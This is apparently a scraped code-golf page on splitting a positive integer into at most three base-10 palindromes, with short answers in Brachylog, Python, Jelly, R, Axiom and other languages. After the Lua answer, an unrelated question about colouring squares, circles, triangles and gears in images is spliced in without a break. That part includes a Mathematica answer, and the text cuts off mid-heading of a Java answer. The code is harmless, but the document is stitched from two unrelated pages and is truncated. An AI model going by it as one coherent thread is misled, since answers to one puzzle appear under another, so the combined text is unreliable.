[Question] [ > > Every positive integer can be expressed as the sum of at most three palindromic positive integers in any base *b*≥5.   [Cilleruelo et al., 2017](https://arxiv.org/abs/1602.06208) > > > A positive integer is *palindromic* in a given base if its representation in that base, without leading zeros, reads the same backwards. In the following, *only* base *b*=10 will be considered. The decomposition as a sum of palindromic numbers is *not unique*. For example, `5` can be expressed directly as `5`, or as the sum of `2, 3`. Similarly, `132` can be decomposed as `44, 44, 44` or as `121, 11`. ## The challenge Given a positive integer, produce its sum decomposition into three or fewer positive integers that are palindromic in base 10. ## Additional rules * The algorithm used should work for arbitrarily large inputs. However, it is acceptable if the program is limited by memory, time or data type restrictions. * Input and output can be taken by [any reasonable means](https://codegolf.meta.stackexchange.com/questions/2447/default-for-code-golf-input-output-methods). Input and output format is flexible as usual. * You can choose to produce one or more valid decompositions for each input, as long as the output format is unambiguous. * [Programs or functions](http://meta.codegolf.stackexchange.com/a/2422/36398) are allowed, in any [programming language](https://codegolf.meta.stackexchange.com/questions/2028/what-are-programming-languages/2073#2073). [Standard loopholes](https://codegolf.meta.stackexchange.com/questions/1061/loopholes-that-are-forbidden-by-default) are forbidden. * Shortest code in bytes wins. ## Examples Since an input can have many decompositions, these are examples rather than test cases. Each decomposition is shown on a different line. ``` Input -> Output 5 -> 5 2, 3 15 -> 1, 3, 11 9, 6 21 -> 11, 9, 1 7, 7, 7 42 -> 22, 11, 9 2, 7, 33 132 -> 44, 44, 44 121, 11 345 -> 202, 44, 99 2, 343 1022 -> 989, 33 999, 22, 1 9265 -> 9229, 33, 3 8338, 828, 99 ``` [Answer] # [Brachylog](https://github.com/JCumin/Brachylog), 7 bytes ``` ~+ℕᵐ.↔ᵐ ``` [Try it online!](https://tio.run/##SypKTM6ozMlPN/r/v077UcvUh1sn6D1qmwKk/v@3NDIz/R8FAA "Brachylog – Try It Online") Surprisingly not that slow. ### Explanation ``` (?)~+ . Output is equal to the Input when summed ℕᵐ. Each element of the Output is a positive integer .↔ᵐ(.) When reversing each element of the Output, we get the Output ``` [Answer] # [Python 2](https://docs.python.org/2/), ~~82~~ 79 bytes ``` f=lambda n:min([f(n-k)+[k]for k in range(1,n+1)if`k`==`k`[::-1]]or[[]],key=len) ``` [Try it online!](https://tio.run/##fZDRa9swEMafo7/ioA@1WyfUTjKoqQdlrGDW9mHLyzCm1ZJzImxJniRvpKV/e3qSs5XB6IMO7tPd7zu@fu92WmWHxmgJBq0ezBpByF4bB2csyHZv3xS2wQYkSi2eMGrinE18AwU8v7CJ/9th16OJlP@aiAYUKO1AqLDktbBQqZp2GhojxaAbzDhAOvvTj6TR0aF10Zmv1oMbbQhM0KB4am@EcnD6nC9eYPqRrjmd0ZDkLlJJ8IkPTdFx@WPDQeVSqKgiddrG51Vbe1zrcYarLUZpos7TWDSP7WNRUKnyfJrWtTZVVddJi/uiQxUfTuCG9qzkXUe7/eAsOcFvbVoLnCKzMxbOXiaQ0svSmLETuOVmi@a4QJH/HITBY6LcCa1mrKFo3iIeIYuMKHMq88UycD7/QgXdf2EcdmK7I93gejCWmNAJKdyMWXR/tSBFKVxdwfzi6JJeZFmgX6sN4DsOPvy1QW5xA9bxdQuWrh0NRvDX2/KuXD18W11/@pJAaB/K@5vyvlx9T@CfNj66X2YflvHhFQ "Python 2 – Try It Online") [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), ~~12~~ ~~10~~ ~~9~~ 8 bytes ``` ŒṗDfU$ṪḌ ``` [Try it online!](https://tio.run/##y0rNyan8///opIc7p7ukhao83Lnq4Y6e/4fbHzWtcf//31RHwRCITYwA "Jelly – Try It Online") ### How it works ``` ŒṗDfU$ṪḌ Main link. Argument: n (integer) Œṗ Find all integer partitions of n. D Convert each integer in each partition to base 10. $ Combine the two links to the left into a chain. U Upend; reverse all arrays of decimal digits. f Filter the original array by the upended one. Ṫ Take the last element of the filtered array. This selects the lexicographically smallest decomposition of those with the minimal amount of palindromes. Ḍ Undecimal; convert all arrays of decimal digits to integers. ``` [Answer] # [Python 2](https://docs.python.org/2/), 117 bytes ``` def f(n):p=[x for x in range(n+1)if`x`==`x`[::-1]];print[filter(None,[a,b,n-a-b])for a in p for b in p if n-a-b in p] ``` [Try it online!](https://tio.run/##JcxBCsMgEAXQq8xSqS7StBuLV@gFRIhSpx0oo4gLc3qb2M3nfz68srdP5usYr4SAgqUp1nXAXKEDMdTA7yT4skjCrW/WHuGM0Yv3j1KJm0P6tlTFM3NSLqioWAcdvTyJcBJlavFfCWH@c/mBYr3d5fgB "Python 2 – Try It Online") Prints a list of lists, each of which is a solution. Rod saved 9 bytes. [Answer] # JavaScript (ES6), ~~115~~ ... ~~84~~ 83 bytes Always returns a three-element array, where unused entries are padded with zeros. ``` f=(n,b=a=0)=>(r=[b,a%=n,n-a-b]).some(a=>a-[...a+''].reverse().join``)?f(n,b+!a++):r ``` ### Test cases ``` f=(n,b=a=0)=>(r=[b,a%=n,n-a-b]).some(a=>a-[...a+''].reverse().join``)?f(n,b+!a++):r console.log(JSON.stringify(f(5))) console.log(JSON.stringify(f(15))) console.log(JSON.stringify(f(21))) console.log(JSON.stringify(f(42))) console.log(JSON.stringify(f(132))) console.log(JSON.stringify(f(345))) console.log(JSON.stringify(f(1022))) console.log(JSON.stringify(f(9265))) ``` [Answer] # R, 126 bytes ~~145 bytes~~ Thanks to Giuseppe for golfing off 19 bytes ``` function(n){a=paste(y<-0:n) x=combn(c(0,y[a==Map(paste,Map(rev,strsplit(a,"")),collapse="")]),3) unique(x[,colSums(x)==n],,2)} ``` [Try it online!](https://tio.run/##HYrLCsIwEADv/YyedmGFVG/ifoInj6WHGCIE0k3MQ1LEb4/W2wwzqTfujyqmuCAg@NYcdS4WtstBnQWHxiasdwEDirZZM191hP9COyX7olxSjt4V0DSOiGSC9zpmyz9bkE44VHHPaqHNe7vVNUNDZlmIjvjpDSY1Yf8C) Explanation R does not have a native way to reverse strings and many default string operations don't work on numbers. So first we convert the series of positive integers (plus 0) to characters. Next we produce a vector of 0 and all palindromes. The string reversal requires splitting each number up by characters, reversing the order of the vector and pasting them back together with no gap. Next I want to check all groups of three (here's where the 0s are important), luckily R has a built in combination function which returns a matrix, each column in a combination. I apply the `colSums` function to the matrix and keep only the elements which equal the supplied target. Finally, because there are two 0s, any set of two positive integers will be duplicated so I use a unique function on the columns. The output is a matrix where each column is a set of positive, pallindromic integers that sum to the target value. It is lazy and returns 0's when fewer than 3 elements are used. [Answer] # Mathematica, 49 bytes ``` #~IntegerPartitions~3~Select~AllTrue@PalindromeQ& ``` [Try it online!](https://tio.run/##BcE7CoAwDADQqxQEL1AdhTq6VXQTh1BTDfQDMa69enwvgzyYQSiARjMZ7dpSBG9kDywkVMvbbNswYZA2p7Tzh85DonJxzbj26pmKGBcPO4yn/g "Wolfram Language (Mathematica) – Try It Online") returns all solutions -2~MartinEnder~bytes [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), 14 bytes ``` L<4aŒḂ€Ạ ŒṗÇÐf ``` [Try it online!](https://tio.run/##y0rNyan8/9/HxiTx6KSHO5oeNa15uGsBF5C9c/rh9sMT0v4fbgdxZvz/b2gKAA "Jelly – Try It Online") Very, *very* inefficient. [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), 17 bytes ``` RŒḂÐfṗ3R¤YS⁼³$$Ðf ``` [Try it online!](https://tio.run/##y0rNyan8/z/o6KSHO5oOT0h7uHO6cdChJZHBjxr3HNqsogIU@v//v4kRAA) -6 bytes thanks to HyperNeutrino. Outputs all ways. However the output consists of some duplicates. [Answer] # [Ohm v2](https://github.com/MiningPotatoes/Ohm), ~~13~~ ~~12~~ 10 bytes ``` #Dð*3ç⁇Σ³E ``` [Try it online!](https://tio.run/##y8/INfr/X9nl8AYt48PLHzW2n1t8aLPr//@GpgA "Ohm v2 – Try It Online") [Answer] # [Haskell](https://www.haskell.org/), ~~90~~ ~~86~~ 79 bytes -7 bytes thanks to Laikoni! ``` f=filter h n=[f(>0)t|t<-mapM(\_->f(((==)<*>reverse).show)[0..n])"123",sum t==n] ``` [Try it online!](https://tio.run/##BcFBCsIwEADAu69Yioes2FArFoRufuALapEcNiSYxJKsevHvccbb@uQYW3PkQhQuOw@ZFqfMgPKTuU92u6n7ozdOKUWE88EU/nCpjLr61xeXQeu8Yncaz92xvhMIUV5bsiEDwVZCFtiDh@t4mdof "Haskell – Try It Online") Returns a list of all solutions with some duplication. [Answer] # [Java (OpenJDK 8)](http://openjdk.java.net/), 185 bytes ``` n->{for(int i=0,j=n,k;++i<=--j;)if(p(i))for(k=0;k<=j-k;k++)if(p(k)&p(j-k))return new int[]{j-k,k,i};return n;} boolean p(int n){return(""+n).equals(""+new StringBuffer(""+n).reverse());} ``` [Try it online!](https://tio.run/##ZVFNT@MwEL33V4w4IJt8qJSCRN10xUqLxAFxgBvi4AaHdT7sYI@7QlF@e5k6XXYlDknG743fmzep5U5mtlemfm32uuutQ6gJywPqNq@CKVFbk5@J2TeSsFkftq0uoWyl93AvtYFhBnBEPUqkz87qV@iIY4/otHl7fgHp3jyPrQBG/Yk3GT@c7wzeHk3XD9talbiBLnjU6EMHBexNthkq65g2CLqYp3Vh0kYkiV4XWVYLrivWM835oacp5qJZF3XWiCZJJqrhpz0jhHOnMDgT/Uns@WUgNG1SPYq/jBjF1tpWSQN9NDR8mDh2cpIYnqv3IFsfD6QyxfsZqkq5Y4NTO@W8YpyLcS9i3il1dARUHj2lGuA8hcsUzulZULlcUH1Br4vlAZ0vqLxeXF3COGncOCc/fO7RKdmxqMIjAZB3sn@ytDr2tbb/KWazjSV3@jemVLaaBvlxFEQ7ZWAswtzylf0H8i8hWu4vWf5mjx8eVZfbgKtVTz3YGj5NOMZJx9m4/wQ "Java (OpenJDK 8) – Try It Online") Remove 1 byte from TIO to get the correct amount because the submission doesn't contain the `;` after the lambda. [Answer] # [Husk](https://github.com/barbuz/Husk), 11 bytes ``` ḟo=⁰Σm↑3Ṗİ↔ ``` [Try it online!](https://tio.run/##ASQA2/9odXNr///huJ9vPeKBsM6jbeKGkTPhuZbEsOKGlP///zkyNjU "Husk – Try It Online") -2 from DLosc. [Answer] # [Proton](https://github.com/alexander-liao/proton), 117 bytes ``` a=>filter(l=>all(p==p[by-1]for p:map(str,l)),(k=[[i,a-i]for i:1..a-1])+sum([[[i,q,j-q]for q:1..j-1]for i,j:k],[]))[0] ``` [Try it online!](https://tio.run/##LcwxDsMgDEDRq3S0VROVoQsSuQhioFKRTEgwhAw9PW2izu/rSyu9bCPaEewcOfd3g2znkDOIteJeH6V9LO0mZg0Ce2@UEQkW6xxTUHwhGz1N4VfifT9WcKdVSqpeWk9N/w9TMosn5xHdww9pvHWIoJ@I4ws "Proton – Try It Online") Outputs a solution [Answer] # [Pyth](https://pyth.readthedocs.io), ~~16 12~~ 10 bytes ``` ef_I#`MT./ ``` **[Try it here!](https://pyth.herokuapp.com/?code=ef_I%23%60MT.%2F&input=15&debug=0)** ## How it works ``` ef_I#`MT./ ~ Full program. ./ ~ Integer Partitions. f ~ Filter with a variable T. `MT ~ Map each element of T to a string representation. # ~ Filter. _I ~ Is palindrome? (i.e Invariant over reverse?) e ~ Get last element. ``` [Answer] # [05AB1E](https://github.com/Adriandmen/05AB1E), 17 bytes ``` LʒÂQ}U4GXNãDO¹QÏ= ``` [Try it online!](https://tio.run/##MzBNTDJM/f/f59Skw02BtaEm7hF@hxe7@B/aGXi43/b/f0sA "05AB1E – Try It Online") --- Outputs the result in three lists as follows: * Palindromic lists of length 1 (the original number IFF it's palindromic). * Palindromic lists of length 2. * Palindromic lists of length 3. [Answer] # Axiom, 900 bytes ``` R(x)==>return x;p(r,a)==(n:=#(a::String);if r<0 then(a=0=>R a;n=1 or a=10^(n-1)=>R(a-1);a=10^(n-1)+1=>R(a-2));if r>0 then(n=1 and a<9=>R(a+1);a=10^n-1=>R(a+2));r=0 and n=1=>1;v:=a quo 10^(n quo 2);repeat(c:=v;w:=(n rem 2>0=>v quo 10;v);repeat(c:=10*c+w rem 10;w:=w quo 10;w=0=>break);r<0=>(c<a=>R c;v:=v-1);r>0=>(c>a=>R c;v:=v+1);R(c=a=>1;0));c) b:List INT:=[];o:INT:=0 f(a:NNI):List INT==(free b,o;o:=p(-1,o);w:=0;c:=#b;if c>0 then w:=b.1;e:=a-o;e>10000000=>R[];if w<e then repeat(w:=p(1,w);w>e=>break;b:=cons(w,b));g:List INT:=[];for i in #b..1 by-1 repeat(b.i>e=>break;g:=cons(b.i,g));if o>e then g:=cons(o,g);n:=#g;for i in 1..n repeat(x:=g.i;x=a=>R[x];3*x<a=>break;for j in i..n repeat(y:=g.j;t:=x+y;t>a=>iterate;t=a=>R[x,y];t+y<a=>break;for k in j..n repeat(z:=t+g.k;z=a=>R[x,y,g.k];z<a=>break)));[]) D(a:NNI):List INT==(free o;p(0,a)=1=>[a];o:=a;for j in 1..10 repeat(t:=f(a);#t>0=>R t);[]) ``` test code ``` --Lista random di n elmenti, casuali compresi tra "a" e "b" randList(n:PI,a:INT,b:INT):List INT== r:List INT:=[] a>b =>r d:=1+b-a for i in 1..n repeat r:=concat(r,a+random(d)$INT) r test()== a:=randList(20,1,12345678901234) [[i,D(i)] for i in a] ``` If this code has to decompose the number X in 1,2,3 palindrome, what this code does, it is try near palindrome N < X and decompose X-N in 2 palindrome; if this decomposition of X-N has success return 3 palindrome found; if it fail, it try the prev palindrome G < N < X and try decompose X-G in 2 palindrome etc. Ungolf code (but it is possible some bug) ``` R(x)==>return x -- se 'r'=0 ritorna 1 se 'a' e' palindrome altrimenti ritorna 0 -- se 'r'>0 ritorna la prossima palindrome >'a' -- se 'r'<0 ritorna la prossima palindrome <'a' p(r,a)==(n:=#(a::String);if r<0 then(a=0=>R a;n=1 or a=10^(n-1)=>R(a-1);a=10^(n-1)+1=>R(a-2));if r>0 then(n=1 and a<9=>R(a+1);a=10^n-1=>R(a+2));r=0 and n=1=>1;v:=a quo 10^(n quo 2);repeat(c:=v;w:=(n rem 2>0=>v quo 10;v);repeat(c:=10*c+w rem 10;w:=w quo 10;w=0=>break);r<0=>(c<a=>R c;v:=v-1);r>0=>(c>a=>R c;v:=v+1);R(c=a=>1;0));c) b:List INT:=[] -- the list of palindrome o:INT:=0 -- the start value for search the first is a --Decompose 'a' in 1 or 2 or 3 palindrome beginning with prev palindrome of o --if error or fail return [] f(a:NNI):List INT== free b,o -- aggiustamento di o, come palindrome piu' piccola di o o:=p(-1,o) -- aggiustamento di b come l'insieme delle palindromi tra 1..a-o compresa w:=0;c:=#b if c>0 then w:=b.1 --in w la massima palindrome presente in b e:=a-o output["e=",e,"w=",w,"o=",o,"#b=",#b] e>10000000=>R[] --impongo che la palindrome massima e' 10000000-1 if w<e then --se w<a-o aggiungere a b tutte le palindromi tra w+1..a-o repeat(w:=p(1,w);w>e=>break;b:=cons(w,b)) -- g e' l'insieme dei b palindromi tra 1..a-o,o g:List INT:=[];for i in #b..1 by-1 repeat(b.i>e=>break;g:=cons(b.i,g)) if o>e then g:=cons(o,g) --output["g=",g,b] n:=#g for i in 1..n repeat x:=g.i x=a =>R[x] 3*x<a=>break for j in i..n repeat y:=g.j;t:=x+y t>a =>iterate t=a =>R[x,y] t+y<a =>break for k in j..n repeat z:=t+g.k z=a =>R[x,y,g.k] z<a =>break [] --Decompose 'a' in 1 or 2 or 3 palindrome --if error or fail return [] dPal(a:NNI):List INT== free o p(0,a)=1=>[a] o:=a -- at start it is o=a for j in 1..10 repeat -- try 10 start values only t:=f(a) #t>0=>R t [] ``` results: ``` (7) -> [[i,D(i)] for i in [5,15,21,42,132,345,1022,9265] ] (7) [[5,[5]], [15,[11,4]], [21,[11,9,1]], [42,[33,9]], [132,[131,1]], [345,[343,2]], [1022,[999,22,1]], [9265,[9229,33,3]]] Type: List List Any Time: 0.02 (IN) + 0.02 (OT) = 0.03 sec (8) -> test() (8) [[7497277417019,[7497276727947,624426,64646]], [11535896626131,[11535888853511,7738377,34243]], [2001104243257,[2001104011002,184481,47774]], [3218562606454,[3218561658123,927729,20602]], [6849377785598,[6849377739486,45254,858]], [375391595873,[375391193573,324423,77877]], [5358975936064,[5358975798535,136631,898]], [7167932760123,[7167932397617,324423,38083]], [11779002607051,[11779000097711,2420242,89098]], [320101573620,[320101101023,472274,323]], [5022244189542,[5022242422205,1766671,666]], [5182865851215,[5182864682815,1158511,9889]], [346627181013,[346626626643,485584,68786]], [9697093443342,[9697092907969,443344,92029]], [1885502599457,[1885502055881,542245,1331]], [10995589034484,[]], [1089930852241,[1089930399801,375573,76867]], [7614518487477,[7614518154167,246642,86668]], [11859876865045,[11859866895811,9968699,535]], [2309879870924,[2309879789032,81418,474]]] Type: List List Any Time: 0.25 (IN) + 115.17 (EV) + 0.13 (OT) + 28.83 (GC) = 144.38 sec ``` [Answer] # [05AB1E](https://github.com/Adriandmen/05AB1E), 8 bytes ``` ÅœR.ΔDíQ ``` [Try it online!](https://tio.run/##yy9OTMpM/f//cOvRyUF656a4HF4b@P@/kSEA "05AB1E – Try It Online") Explanation: ``` Åœ # integer partitions of the input R # reversed (puts the shortest ones first) .Δ # find the first one that... D Q # is equal to... í # itself with each element reversed ``` [Answer] # [Vyxal](https://github.com/Vyxal/Vyxal), 6 bytes ``` ṄṘ‡R⁼c ``` [Try it Online!](https://vyxal.pythonanywhere.com/#WyIiLCIiLCLhuYThuZjigKFS4oG8YyIsIiIsIjIxIl0=) ``` ṄṘ‡R⁼c Ṅ # Integer partitions (from longest to shortest) Ṙ # Reverse to make the shortest partitions be at the beginning ‡ c # Find the first element that satisfies: R # Reverse each ⁼ # Equal to the original item? ``` [Answer] # [Java (OpenJDK 8)](http://openjdk.java.net/), 605 bytes Prints dupes but they aren't banned afaik ``` a->{int i=0,j,k,r[]=new int[a-1];for(;i<a-1;r[i]=++i);for(i=0;i<a-1;i++){if(r[i]==a&(""+r[i]).equals(""+new StringBuffer(""+r[i]).reverse()))System.out.println(r[i]);for(j=0;j<a-1;j++){if(r[i]+r[j]==a&(""+r[i]).equals(""+new StringBuffer(""+r[i]).reverse())&(""+r[j]).equals(""+new StringBuffer(""+r[j]).reverse()))System.out.println(r[i]+" "+r[j]);for(k=0;k<a-1;k++)if(r[i]+r[j]+r[k]==a&(""+r[i]).equals(""+new StringBuffer(""+r[i]).reverse())&(""+r[j]).equals(""+new StringBuffer(""+r[j]).reverse())&(""+r[k]).equals(""+new StringBuffer(""+r[k]).reverse()))System.out.println(r[i]+" "+r[j]+" "+r[k]);}}} ``` [Try it online!](https://tio.run/##xVI9T8MwEJ3Jr7A6oFhpLTowpekAEwNTxyiDSZ3q7MQO/ihCVX57uLpGdCxiwIN193zv3rP0JD/ylRmFlns1wzAa64lEjAUPPeuCbj0YzZ6NdmEQtsyyMbz10JK2586RVw6anLI757lH8Hts86K9OAi7JdiSisx8tT2B9gSqh6VcqqWtm0qLD4JYzVfrpuyMzUvYYF3aGpqqKIBGEBkJh6KgJ@jy@F7x@3yxKM41ZeI98N6d@/POnbegD0@h64T9mbHiKKwTOaV09@m8GJgJno046nsdd170JOrJqCev9HCJ/JNoIsobiPImt8WCpOFoW6FtFW0rtH3tGi/1P9YTUd1AVL/7cyqQVU7TNGMqCZ6UzJTFo4E9GTCf@UWubgi3B0cxriQdDCfjbStGn68faRnxKcum@Qs "Java (OpenJDK 8) – Try It Online") [Answer] # [APL (Dyalog)](https://www.dyalog.com/), 51 bytes ``` {w/⍨⍵=+/¨w←(,y∘.,z),,(z←,∘.,⍨y),y←,x/⍨(⌽≡⊢)¨⍕¨x←⍳⍵} ``` [Try it online!](https://tio.run/##SyzI0U2pTMzJT///P@1R24Tqcv1HvSse9W611dY/tKIcKKKhU/moY4aeTpWmjo5GFVBAB8wFqqrUBEoB@RUgLRqPevY@6lz4qGuR5iGg/qmHVlQA5R71bgaaVfv//6PeVRpAOR11K3WdNLCKzYYGAA "APL (Dyalog Unicode) – Try It Online") [Answer] # [Ruby](https://www.ruby-lang.org/), 84 bytes Builds a list of all possible combinations of 3 palindromes from 0 to n, finds the first one whose sum matches, then prunes the zeroes. ``` ->n{a=(0..n).select{|x|x.to_s==x.to_s.reverse};a.product(a,a).find{|x|x.sum==n}-[0]} ``` [Try it online!](https://tio.run/##KypNqvyfZhvzX9curzrRVsNATy9PU684NSc1uaS6pqKmQq8kP77Y1hZC6xWllqUWFafWWifqFRTlp5Qml2gk6iRq6qVl5qVAlBeX5tra5tXqRhvE1v4vUEiLTk8tKQZpzoz9b2lkZgoA "Ruby – Try It Online") [Answer] # [Perl 6](http://perl6.org/), 51 bytes ``` {first *.sum==$_,[X] 3 Rxx grep {$_ eq.flip},1..$_} ``` [Try it online!](https://tio.run/##DcjRCsIgAAXQX7kMaVsNSTcHQfYRPQUR0oOGY2umBRvit9vO43Haj32eVuwMZI7G@vDFnobfJCVRzf32QIvrsuDltUMkCvpDzWhdahilRKUcniuK7SWiqYiq6TDbd1XigLJOBczscRZgApyh42AtR9ttceQcJ96LS/4D "Perl 6 – Try It Online") * `grep { $_ eq .flip }, 1 .. $_` produces a list of all palindromic numbers from 1 to the input number. * `3 Rxx` replicates that list three times. * `[X]` reduces that list-of-lists with the cross-product operator `X`, resulting in a list of all 3-tuples of palindrominc numbers from 1 to the input number. * `first *.sum == $_` finds the first such 3-tuple that sums to the input number. [Answer] # [Add++](https://github.com/cairdcoinheringaahing/AddPlusPlus), 62 bytes ``` D,g,@,BDdbR= D,l,@@,$b+= D,k,@@*, L,RÞgdVBcB]Gd‽kdG‽k€bF++A$Þl ``` [Try it online!](https://tio.run/##S0xJKSj4/99FJ13HQcfJJSUpyJbLRSdHx8FBRyVJG8TOBrK1dLh8dIIOz0tPCXNKdop1T3nUsDc7xR1EPmpak@Smre2ocnhezv8SK3sulZzE3KSURAVDuxIu////TQE "Add++ – Try It Online") ~50 bytes golfed while writing up an explanation. Defines a lambda function which returns a list of lists containing the solutions. ## How it works The last line contains the main function and works by generating all sublists of lengths \$1, 2\$ and \$3\$ containing only palindromic numbers between \$1\$ and \$n\$, then discarding those whose sum does not match \$n\$. The first section, and helper function, generates the range \$1, 2, ..., n\$, and filters out any number that isn't a palindrome. The helper function `g` is a palindrome checker and `RÞg` filters the range on `g`. We then save this filtered list as \$A\$ for later. The next section can be split into three further parts: ``` BcB] Gd‽k dG‽k€bF ``` The first part takes the array \$A\$ (`[1 2 3 4 ...]`) and wraps each element in an array, yielding `[[1] [2] [3] [4] ... ]`. We then push \$A\$ twice and run the table quick over the function `k`: ``` D,k,@@*, ``` This function does basically nothing. It receives two arguments and wraps them in an array. However, the table quick, `‽` is the magic trick here. It takes two lists and generates every pair of elements between those two lists. So `[1 2 3]` and `[4 5 6]` generates `[[1 4] [1 5] [1 6] [2 4] [2 5] [2 6] [3 4] [3 5] [3 6]]`. It then takes its functional argument (in this case `k`) and runs that function over each pair, which, in this case, simply returns the pairs as is. After the first two parts are completed, the stack contains a list of wrapped palindromic integers (all palindromic numbers of list length 1), and a list of pairs of numbers that pair each palindromic number with every other palindromic number. The third section pushes the second array again, then pushes \$A\$, and runs the table function over the two arrays. This almost generates the list of triples we need, but annoyingly, each triple has a nested pair. To remove this, we run `€bF` over the list which flattens each sublist. Finally, we concatenate the three lists to form a list of all required sublists. We've generated all sublists of length \$1, 2\$ and \$3\$ containing palindromic numbers, so all we need to do now is filter those whose sum is not the input. So, we push \$n\$ again and filter each sublist of `l`, which returns whether the sum of the array is equal to \$n\$. Finally, we return the list of lists. [Answer] # [Python 3](https://docs.python.org/3/), 106 bytes ``` lambda n:[(a,b,n-a-b)for a in range(n)for b in range(n)if all(f'{x}'==f'{x}'[::-1]for x in(a,b,n-a-b))][0] ``` [Try it online!](https://tio.run/##tU1LCsIwEN17igEXTaAF@1Gw0JPULiZ0UgtxWpIoFfHstSqUeABX837z3nj354HzWVen2eBFtQhc1gJjFXOCiZJ6sIDQM1jkjgR/BBUKvQY0RujoMT2jqvreuiyTtHlnpyUb9Mmm3jXL3DrGNHnxz0EJW9DoPNkY0EE7kOPIQ0dMFj29u2AcnOuVIbihuZLbbEbbsxda7KVccRqSLA1IaBRZ@JKHLC9@6nZZaB6zw@LOLw "Python 3 – Try It Online") In the TIO link I used a faster (but 1 byte longer version) that takes the first valid result as a generator, rather than building the entire list of possible combinations and taking the first. [Answer] # [Lua](https://www.lua.org/), 334 bytes ``` m=math.floor function p(a)a=tostring(a)return a:reverse()==a end s=io.read()function g(s) for i=s,1,-1 do if(p(m(i)))then t=i for j=s-i,1,-1 do if (p(m(j)))then u=j for k=t-j,0,-1 do if(p(m(k))and(k~=0)and((t+u+k)==tonumber(s)))then print(m(t))print(m(u))print(m(k))return end end end end end end end if(p(s))then print(s)else g(s)end ``` [Try it online!](https://tio.run/##dY@9bsMwDIR3PwVHErGDeGgLFODDqDGdyD@SIVEd8@qOICttlw4CTsB3x7slmX1feTV6P4@L9wHG5K5qvYMNDRlWHzVYd8ufIJqCA/MZ5FtCFCRmA@KGJrL15yBmQPqx3zASjDnQcmz7tuth8GBH3HBFS0R6F9co28JMHDv7h4KCTRWDxFPBZtZuai8H1tSwmci4AecHX4pAPaXTnLupd2n9kpCL1HNbXqLZokQvmX5lDqoT86b/3nE11mKHNZIsUcriTOz72/tH/wQ "Lua – Try It Online") ]
[Question] [ Using [Algodoo](http://www.algodoo.com/) and Paint I made these six 300×300 monochromatic images of four convenient shapes: ![Image 1](https://i.stack.imgur.com/Oa2O1.png) ![Image 2](https://i.stack.imgur.com/C6IKR.png) ![Image 3](https://i.stack.imgur.com/YZfc6.png) This class of images has the following properties: * They are always 300×300 pixels, monochromatic (black and white only), and have exactly four white regions that correspond to a square, a circle, a triangle, and a gear. * The shapes never overlap or touch each other, nor do they touch the image border or go out of bounds. * The shapes always have the same size, but they may be rotated and positioned in any way. (The shapes also have equal areas, though when rastered like this their pixel counts are unlikely to be exactly equivalent.) # Challenge Write the shortest program or function possible that takes in the filename of such an image and turns all the white pixels... * red `(255, 0, 0)` if they are in the square. * blue `(0, 0, 255)` if they are in the circle. * green `(0, 255, 0)` if they are in the triangle. * yellow `(255, 255, 0)` if they are in the gear. e.g. ![Image 1 colored in](https://i.stack.imgur.com/EIRiN.png) # Details **Your program should work for effectively all possible input images.** (Only valid 300×300 monochromatic images will be input.) The six images I have provided are merely examples, you may not hardcode their output into your program. **You may not use computer vision libraries or functions, built-in or external.** The point is to do this using your own pixel-level operations. You may use image libraries that simply let you open and modify images (e.g. PIL for Python). You may use any common lossless image file formats for input and output as long as you stick to the color scheme. You can take in the image filename as a function argument, from stdin, or from the command line. The output image can be saved to a new file, the same file, or simply displayed. # Scoring The submission with the [fewest bytes](https://mothereff.in/byte-counter) wins. I may test submissions with additional images to determine their validity. [Answer] ## Mathematica, ~~459~~ 392 bytes ``` f=(d=ImageData@Import@#/.{a_,_,_}:>a;(For[a={};b={#&@@d~Position~1},b!={},c=#&@@b;b=Rest@b;d[[##&@@c]]=0;a~AppendTo~c;If[Extract[d,c+#]==1,b=b⋃{c+#}]&/@{e={1,0},-e,e={0,1},-e}];m=1.Mean@a;m=#-m&/@a;n=Count[Partition[Norm/@SortBy[m,ArcTan@@#&],300,1,1],l_/;l[[150]]==Max@l];(d[[##&@@#]]=Round[n^.68])&/@a)&/@Range@4;Image[d/.n_Integer:>{{0,0,0},,{0,1,0},{1,0,0},,,,{1,1,0},{0,0,1}}[[n+1]]])& ``` Ungolfed: ``` f = ( d = ImageData@Import@# /. {a_, _, _} :> a; ( For[a = {}; b = {# & @@ d~Position~1}, b != {}, c = # & @@ b; b = Rest@b; d[[## & @@ c]] = 0; a~AppendTo~c; If[Extract[d, c + #] == 1, b = b ⋃ {c + #}] & /@ {e = {1, 0}, -e, e = {0, 1}, -e} ]; m = 1. Mean@a; m = # - m & /@ a; n = Count[Partition[Norm /@ SortBy[m, ArcTan @@ # &], 300, 1, 1], l_ /; l[[150]] == Max@l]; (d[[## & @@ #]] = Round[n^.68]) & /@ a ) & /@ Range@4; Image[d /. n_Integer :> {{0, 0, 0}, , {0, 1, 0}, {1, 0, 0}, , , , {1, 1, 0}, {0, 0, 1}}[[n + 1]]] ) & ``` I could save 6 more bytes by turning `m=1.Mean@a;m=#-m&/@a;` into `m=#-Mean@a&/@a;`, but that significantly blows up execution time, which is annoying for testing. (Note, that this is two optimisations: pulling out the computation of `Mean@a` out of loop *and* using exact symbolic types instead of floating point numbers. Interestingly, the use of exact types is *a lot* more significant than computing the mean in every iteration.) So this is approach number three: * Detect areas by flood-fill. * Find approximate centre of each area by averaging all pixel coordinates. * Now for all pixels in the shape let's plot distance from vs angle to that centre: ![enter image description here](https://i.stack.imgur.com/DHpbr.png) The triangle has 3 clear maxima, the square 4, the gear 16, and the circle has tons, due to aliasing fluctuations about the constant radius. * We find the number of maxima by looking at slices of 300 pixels (ordered by angle), and count the slices where the pixel at position `150` is the maximum. * Then we just colour all pixels depending on the number of peaks (the circle is anything over 16, and usually yields around 20 peaks, due to the size of the slices). Just for the record, if I use Ell's idea, and simply sort the regions by largest distance between any pixel and centre, I can do this in 342 bytes: ``` f=(d=ImageData@Import@#/.{a_,_,_}:>a;MapIndexed[(d[[##&@@#]]=#&@@#2)&,SortBy[(For[a={};b={#&@@d~Position~1},b!={},c=#&@@b;b=Rest@b;d[[##&@@c]]=0;a~AppendTo~c;If[Extract[d,c+#]==1,b=b⋃{c+#}]&/@{e={1,0},-e,e={0,1},-e}];a)&/@Range@4,(m=Mean@#;Max[1.Norm[#-m]&/@#])&],{2}];Image[d/.n_Integer:>{{0,0,0},{0,0,1},{1,1,0},{1,0,0},{0,1,0}}[[n+1]]])& ``` But I do not intend to compete with that, as long as everyone else is using their own original algorithms, instead of golfing down those of others. [Answer] # Java, ~~1204~~ ~~1132~~ 